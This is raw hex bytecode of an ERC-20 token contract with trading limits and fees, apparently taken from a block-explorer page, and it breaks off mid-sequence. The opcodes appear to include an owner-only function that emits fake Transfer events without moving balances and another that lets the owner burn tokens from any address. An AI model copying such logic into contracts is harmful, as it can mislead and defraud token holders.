50919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006151e86022836141cc565b91506151f38261518c565b604082019050919050565b60006020820190508181036000830152615217816151db565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006152546020836141cc565b915061525f8261521e565b602082019050919050565b6000602082019050818103600083015261528381615247565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006152e66025836141cc565b91506152f18261528a565b604082019050919050565b60006020820190508181036000830152615315816152d9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006153786023836141cc565b91506153838261531c565b604082019050919050565b600060208201905081810360008301526153a78161536b565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006153e46016836141cc565b91506153ef826153ae565b602082019050919050565b60006020820190508181036000830152615413816153d7565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061549c6049836141cc565b91506154a78261541a565b606082019050919050565b600060208201905081810360008301526154cb8161548f565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061552e6035836141cc565b9150615539826154d2565b604082019050919050565b6000602082019050818103600083015261555d81615521565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061559a6013836141cc565b91506155a582615564565b602082019050919050565b600060208201905081810360008301526155c98161558d565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061562c6036836141cc565b9150615637826155d0565b604082019050919050565b6000602082019050818103600083015261565b8161561f565b9050919050565b600061566d826142db565b9150615678836142db565b92508282039050818111156156905761568f614879565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006156f26021836141cc565b91506156fd82615696565b604082019050919050565b60006020820190508181036000830152615721816156e5565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006157846022836141cc565b915061578f82615728565b604082019050919050565b600060208201905081810360008301526157b381615777565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006158166021836141cc565b9150615821826157ba565b604082019050919050565b6000602082019050818103600083015261584581615809565b9050919050565b600081905092915050565b50565b600061586760008361584c565b915061587282615857565b600082019050919050565b60006158888261585a565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b60006158e66158e16158dc846158c1565b6143b4565b6142db565b9050919050565b6158f6816158cb565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6159318161429d565b82525050565b60006159438383615928565b60208301905092915050565b6000602082019050919050565b6000615967826158fc565b6159718185615907565b935061597c83615918565b8060005b838110156159ad5781516159948882615937565b975061599f8361594f565b925050600181019050615980565b5085935050505092915050565b600060a0820190506159cf600083018861442e565b6159dc60208301876158ed565b81810360408301526159ee818661595c565b90506159fd606083018561459d565b615a0a608083018461442e565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206ca2bcbc45bb35682112dc17b105ab5656a79b8cb604ddc2f9b52683c479ef2864736f6c63430008100033000000000000000000000000517179db0291f2b12bfe5a9f53e58bdc8716ab15

Deployed Bytecode

0x6080604052600436106104095760003560e01c80638da5cb5b11610213578063bbc0c74211610123578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f8e578063f2fde38b14610fb9578063f637434214610fe2578063f8b45b051461100d578063fe72b27a1461103857610410565b8063dd62ed3e14610ed2578063e2f4560514610f0f578063e884f26014610f3a578063ebc0e83814610f6557610410565b8063c2b7bbb6116100f2578063c2b7bbb614610deb578063c876d0b914610e14578063c8c8ebe414610e3f578063d257b34f14610e6a578063d85ba06314610ea757610410565b8063bbc0c74214610d45578063c024666814610d70578063c17b5b8c14610d99578063c18bc19514610dc257610410565b80639fccce32116101a6578063a4c82a0011610175578063a4c82a0014610c4e578063a9059cbb14610c79578063aacebbe314610cb6578063b62496f514610cdf578063bbbb3ffc14610d1c57610410565b80639fccce3214610b92578063a0d82dc514610bbd578063a165506f14610be8578063a457c2d714610c1157610410565b806395d89b41116101e257806395d89b4114610ae85780639c3b4fdc14610b135780639dc29fac14610b3e5780639ec22c0e14610b6757610410565b80638da5cb5b14610a3e5780638ea5220f14610a695780639213691314610a94578063924de9b714610abf57610410565b8063333f52e011610319578063715018a6116102a157806375f0a8741161027057806375f0a8741461097d5780637bce5a04146109a85780638095d564146109d35780638a8c523c146109fc5780638bdb2afa14610a1357610410565b8063715018a6146108e9578063730c188814610900578063751039fc146109295780637571336a1461095457610410565b806349bd5a5e116102e857806349bd5a5e146107ee5780634fbee193146108195780636a486a8e146108565780636ddd17131461088157806370a08231146108ac57610410565b8063333f52e0146107205780633582ad231461075d57806339509351146107885780633eb2b5ad146107c557610410565b80631a8145bb1161039c57806326ededb81161036b57806326ededb81461064b57806327c8f835146106745780632c3e486c1461069f5780632e82f1a0146106ca578063313ce567146106f557610410565b80631a8145bb1461058f5780631f3fed8f146105ba578063203e727e146105e557806323b872dd1461060e57610410565b806318160ddd116103d857806318160ddd146104e55780631816467f14610510578063184c16c514610539578063199ffc721461056457610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631694505e146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611075565b6040516104379190614251565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614311565b611107565b604051610474919061436c565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190614387565b611125565b6040516104b1919061436c565b60405180910390f35b3480156104c657600080fd5b506104cf611145565b6040516104dc9190614413565b60405180910390f35b3480156104f157600080fd5b506104fa611169565b604051610507919061443d565b60405180910390f35b34801561051c57600080fd5b5061053760048036038101906105329190614387565b611173565b005b34801561054557600080fd5b5061054e61123b565b60405161055b919061443d565b60405180910390f35b34801561057057600080fd5b50610579611241565b604051610586919061443d565b60405180910390f35b34801561059b57600080fd5b506105a4611247565b6040516105b1919061443d565b60405180910390f35b3480156105c657600080fd5b506105cf61124d565b6040516105dc919061443d565b60405180910390f35b3480156105f157600080fd5b5061060c60048036038101906106079190614458565b611253565b005b34801561061a57600080fd5b5061063560048036038101906106309190614485565b6112e6565b604051610642919061436c565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d919061453d565b6113bf565b005b34801561068057600080fd5b506106896115ab565b60405161069691906145ac565b60405180910390f35b3480156106ab57600080fd5b506106b46115b1565b6040516106c1919061443d565b60405180910390f35b3480156106d657600080fd5b506106df6115b7565b6040516106ec919061436c565b60405180910390f35b34801561070157600080fd5b5061070a6115ca565b60405161071791906145e3565b60405180910390f35b34801561072c57600080fd5b5061074760048036038101906107429190614387565b6115d3565b604051610754919061436c565b60405180910390f35b34801561076957600080fd5b50610772611629565b60405161077f919061436c565b60405180910390f35b34801561079457600080fd5b506107af60048036038101906107aa9190614311565b61163c565b6040516107bc919061436c565b60405180910390f35b3480156107d157600080fd5b506107ec60048036038101906107e79190614387565b6116ef565b005b3480156107fa57600080fd5b5061080361173b565b60405161081091906145ac565b60405180910390f35b34801561082557600080fd5b50610840600480360381019061083b9190614387565b611761565b60405161084d919061436c565b60405180910390f35b34801561086257600080fd5b5061086b6117b7565b604051610878919061443d565b60405180910390f35b34801561088d57600080fd5b506108966117bd565b6040516108a3919061436c565b60405180910390f35b3480156108b857600080fd5b506108d360048036038101906108ce9190614387565b6117d0565b6040516108e0919061443d565b60405180910390f35b3480156108f557600080fd5b506108fe611819565b005b34801561090c57600080fd5b506109276004803603810190610922919061462a565b6118df565b005b34801561093557600080fd5b5061093e6119ab565b60405161094b919061436c565b60405180910390f35b34801561096057600080fd5b5061097b6004803603810190610976919061467d565b6119d7565b005b34801561098957600080fd5b50610992611a3a565b60405161099f91906145ac565b60405180910390f35b3480156109b457600080fd5b506109bd611a60565b6040516109ca919061443d565b60405180910390f35b3480156109df57600080fd5b506109fa60048036038101906109f591906146bd565b611a66565b005b348015610a0857600080fd5b50610a11611af1565b005b348015610a1f57600080fd5b50610a28611b38565b604051610a359190614731565b60405180910390f35b348015610a4a57600080fd5b50610a53611b5e565b604051610a6091906145ac565b60405180910390f35b348015610a7557600080fd5b50610a7e611b87565b604051610a8b91906145ac565b60405180910390f35b348015610aa057600080fd5b50610aa9611bad565b604051610ab6919061443d565b60405180910390f35b348015610acb57600080fd5b50610ae66004803603810190610ae1919061474c565b611bb3565b005b348015610af457600080fd5b50610afd611bd8565b604051610b0a9190614251565b60405180910390f35b348015610b1f57600080fd5b50610b28611c6a565b604051610b35919061443d565b60405180910390f35b348015610b4a57600080fd5b50610b656004803603810190610b609190614311565b611c70565b005b348015610b7357600080fd5b50610b7c611c86565b604051610b89919061443d565b60405180910390f35b348015610b9e57600080fd5b50610ba7611c8c565b604051610bb4919061443d565b60405180910390f35b348015610bc957600080fd5b50610bd2611c92565b604051610bdf919061443d565b60405180910390f35b348015610bf457600080fd5b50610c0f6004803603810190610c0a9190614779565b611c98565b005b348015610c1d57600080fd5b50610c386004803603810190610c339190614311565b611cae565b604051610c45919061436c565b60405180910390f35b348015610c5a57600080fd5b50610c63611d7b565b604051610c70919061443d565b60405180910390f35b348015610c8557600080fd5b50610ca06004803603810190610c9b9190614311565b611d81565b604051610cad919061436c565b60405180910390f35b348015610cc257600080fd5b50610cdd6004803603810190610cd89190614387565b611d9f565b005b348015610ceb57600080fd5b50610d066004803603810190610d019190614387565b611e67565b604051610d1391906145ac565b60405180910390f35b348015610d2857600080fd5b50610d436004803603810190610d3e9190614779565b611e9a565b005b348015610d5157600080fd5b50610d5a611f7e565b604051610d67919061436c565b60405180910390f35b348015610d7c57600080fd5b50610d976004803603810190610d92919061467d565b611f91565b005b348015610da557600080fd5b50610dc06004803603810190610dbb91906146bd565b612042565b005b348015610dce57600080fd5b50610de96004803603810190610de49190614458565b6120cd565b005b348015610df757600080fd5b50610e126004803603810190610e0d9190614387565b612160565b005b348015610e2057600080fd5b50610e296121d9565b604051610e36919061436c565b60405180910390f35b348015610e4b57600080fd5b50610e546121ec565b604051610e61919061443d565b60405180910390f35b348015610e7657600080fd5b50610e916004803603810190610e8c9190614458565b6121f2565b604051610e9e919061436c565b60405180910390f35b348015610eb357600080fd5b50610ebc6122d3565b604051610ec9919061443d565b60405180910390f35b348015610ede57600080fd5b50610ef96004803603810190610ef49190614779565b6122d9565b604051610f06919061443d565b60405180910390f35b348015610f1b57600080fd5b50610f24612360565b604051610f31919061443d565b60405180910390f35b348015610f4657600080fd5b50610f4f612366565b604051610f5c919061436c565b60405180910390f35b348015610f7157600080fd5b50610f8c6004803603810190610f8791906147b9565b612392565b005b348015610f9a57600080fd5b50610fa361243f565b604051610fb0919061443d565b60405180910390f35b348015610fc557600080fd5b50610fe06004803603810190610fdb9190614387565b612445565b005b348015610fee57600080fd5b50610ff7612579565b604051611004919061443d565b60405180910390f35b34801561101957600080fd5b5061102261257f565b60405161102f919061443d565b60405180910390f35b34801561104457600080fd5b5061105f600480360381019061105a9190614458565b612585565b60405161106c919061436c565b60405180910390f35b60606006805461108490614848565b80601f01602080910402602001604051908101604052809291908181526020018280546110b090614848565b80156110fd5780601f106110d2576101008083540402835291602001916110fd565b820191906000526020600020905b8154815290600101906020018083116110e057829003601f168201915b5050505050905090565b600061111b611114612880565b8484612888565b6001905092915050565b60266020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b61117b612a51565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b60125481565b60215481565b60205481565b61125b612a51565b633b9aca006103e8600161126d611169565b61127791906148a8565b6112819190614931565b61128b9190614931565b8110156112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906149d4565b60405180910390fd5b633b9aca00816112dd91906148a8565b600c8190555050565b60006112f3848484612acf565b6113b4846112ff612880565b6113af85604051806060016040528060288152602001615a3b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611365612880565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f39092919063ffffffff16565b612888565b600190509392505050565b6113c7612a51565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114979190614a09565b6040518363ffffffff1660e01b81526004016114b4929190614a36565b602060405180830381865afa1580156114d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f59190614a09565b905060005b848490508110156115a45784848281811061151857611517614a5f565b5b905060200201602081019061152d9190614387565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611589919061443d565b60405180910390a3808061159c90614a8e565b9150506114fa565b5050505050565b61dead81565b60145481565b601360009054906101000a900460ff1681565b60006009905090565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900460ff1681565b60006116e5611649612880565b846116e0856003600061165a612880565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282290919063ffffffff16565b612888565b6001905092915050565b6116f7612a51565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601c5481565b601660029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611821612a51565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118e7612a51565b61025883101561192c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192390614b48565b60405180910390fd5b6103e8821115801561193f575060008210155b61197e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197590614bda565b60405180910390fd5b826014819055508160128190555080601360006101000a81548160ff021916908315150217905550505050565b60006119b5612a51565b6000601660006101000a81548160ff0219169083151502179055506001905090565b6119df612a51565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b611a6e612a51565b8260198190555081601a8190555080601b81905550601b54601a54601954611a969190614bfa565b611aa09190614bfa565b60188190555060196018541115611aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae390614c7a565b60405180910390fd5b505050565b611af9612a51565b6001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff02191690831515021790555042601581905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b611bbb612a51565b80601660026101000a81548160ff02191690831515021790555050565b606060078054611be790614848565b80601f0160208091040260200160405190810160405280929190818152602001828054611c1390614848565b8015611c605780601f10611c3557610100808354040283529160200191611c60565b820191906000526020600020905b815481529060010190602001808311611c4357829003601f168201915b5050505050905090565b601b5481565b611c78612a51565b611c828282613657565b5050565b60115481565b60225481565b601f5481565b611ca0612a51565b611caa8282611e9a565b5050565b6000611d71611cbb612880565b84611d6c85604051806060016040528060258152602001615a636025913960036000611ce5612880565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f39092919063ffffffff16565b612888565b6001905092915050565b60155481565b6000611d95611d8e612880565b8484612acf565b6001905092915050565b611da7612a51565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60276020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ea2612a51565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601660019054906101000a900460ff1681565b611f99612a51565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051612036919061436c565b60405180910390a25050565b61204a612a51565b82601d8190555081601e8190555080601f81905550601f54601e54601d546120729190614bfa565b61207c9190614bfa565b601c819055506063601c5411156120c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bf90614ce6565b60405180910390fd5b505050565b6120d5612a51565b633b9aca006103e860056120e7611169565b6120f191906148a8565b6120fb9190614931565b6121059190614931565b811015612147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213e90614d78565b60405180910390fd5b633b9aca008161215791906148a8565b600b8190555050565b612168612a51565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506121d6600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119d7565b50565b602460009054906101000a900460ff1681565b600c5481565b60006121fc612a51565b620186a0600161220a611169565b61221491906148a8565b61221e9190614931565b821015612260576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225790614e0a565b60405180910390fd5b6103e8600a61226d611169565b61227791906148a8565b6122819190614931565b8211156122c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ba90614e9c565b60405180910390fd5b81600d8190555060019050919050565b60185481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b6000612370612a51565b6000602460006101000a81548160ff0219169083151502179055506001905090565b61239a612a51565b60005b838390508110156124395781601760008686858181106123c0576123bf614a5f565b5b90506020020160208101906123d59190614387565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061243190614a8e565b91505061239d565b50505050565b601a5481565b61244d612a51565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b390614f2e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e5481565b600b5481565b600061258f612a51565b60105460115461259f9190614bfa565b42116125e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d790614f9a565b60405180910390fd5b6103e8821115612625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261c9061502c565b60405180910390fd5b4260118190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161268991906145ac565b602060405180830381865afa1580156126a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126ca9190615061565b905060006126f56127106126e7868561382290919063ffffffff16565b61389c90919063ffffffff16565b905060008111156127305761272f600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836138e6565b5b600060276000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156127fe57600080fd5b505af1158015612812573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846128319190614bfa565b905083811015612876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286d906150da565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ee9061516c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295d906151fe565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a44919061443d565b60405180910390a3505050565b612a59612880565b73ffffffffffffffffffffffffffffffffffffffff16612a77613b7d565b73ffffffffffffffffffffffffffffffffffffffff1614612acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac49061526a565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b35906152fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba49061538e565b60405180910390fd5b60008103612bc657612bc1838360006138e6565b6135ee565b601660009054906101000a900460ff16156131dd5761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c4c5750612c1c611b5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c855750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cc45750612c94611b5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612cdd5750600a60149054906101000a900460ff16155b156131dc57601660019054906101000a900460ff16612dd757602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d975750602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dcd906153fa565b60405180910390fd5b5b602460009054906101000a900460ff1615612fa157612df4611b5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612e7b57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612ed55750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fa05743602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f52906154b2565b60405180910390fd5b43602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309457600c54811115613037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161302e90615544565b60405180910390fd5b600b54613043836117d0565b8261304e9190614bfa565b111561308f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613086906155b0565b60405180910390fd5b6131db565b602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661312f57600c5481111561312a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312190615642565b60405180910390fd5b6131da565b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131d957600b5461318c836117d0565b826131979190614bfa565b11156131d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131cf906155b0565b60405180910390fd5b5b5b5b5b5b60006131e8306117d0565b90506000600d54821015905080801561320d5750601660029054906101000a900460ff165b80156132265750600a60149054906101000a900460ff16155b801561327c5750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132d25750602560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613316576001600a60146101000a81548160ff0219169083151502179055506132fa613b91565b6000600a60146101000a81548160ff0219169083151502179055505b600a60149054906101000a900460ff1615801561333f5750601360009054906101000a900460ff165b1561334f5761334d85613d19565b505b6000600a60149054906101000a900460ff16159050602560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806134055750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561340f57600090505b600081156135de576000601c5411156134ea5761344a606461343c601c548861382290919063ffffffff16565b61389c90919063ffffffff16565b9050601c54601e548261345d91906148a8565b6134679190614931565b602160008282546134789190614bfa565b92505081905550601c54601f548261349091906148a8565b61349a9190614931565b602260008282546134ab9190614bfa565b92505081905550601c54601d54826134c391906148a8565b6134cd9190614931565b602060008282546134de9190614bfa565b925050819055506135ba565b600060185411156135b95761351d606461350f6018548861382290919063ffffffff16565b61389c90919063ffffffff16565b9050601854601a548261353091906148a8565b61353a9190614931565b6021600082825461354b9190614bfa565b92505081905550601854601b548261356391906148a8565b61356d9190614931565b6022600082825461357e9190614bfa565b925050819055506018546019548261359691906148a8565b6135a09190614931565b602060008282546135b19190614bfa565b925050819055505b5b60008111156135cf576135ce8730836138e6565b5b80856135db9190615662565b94505b6135e98787876138e6565b505050505b505050565b600083831115829061363b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136329190614251565b60405180910390fd5b506000838561364a9190615662565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036136c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136bd90615708565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561374d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137449061579a565b60405180910390fd5b8160045461375b919061566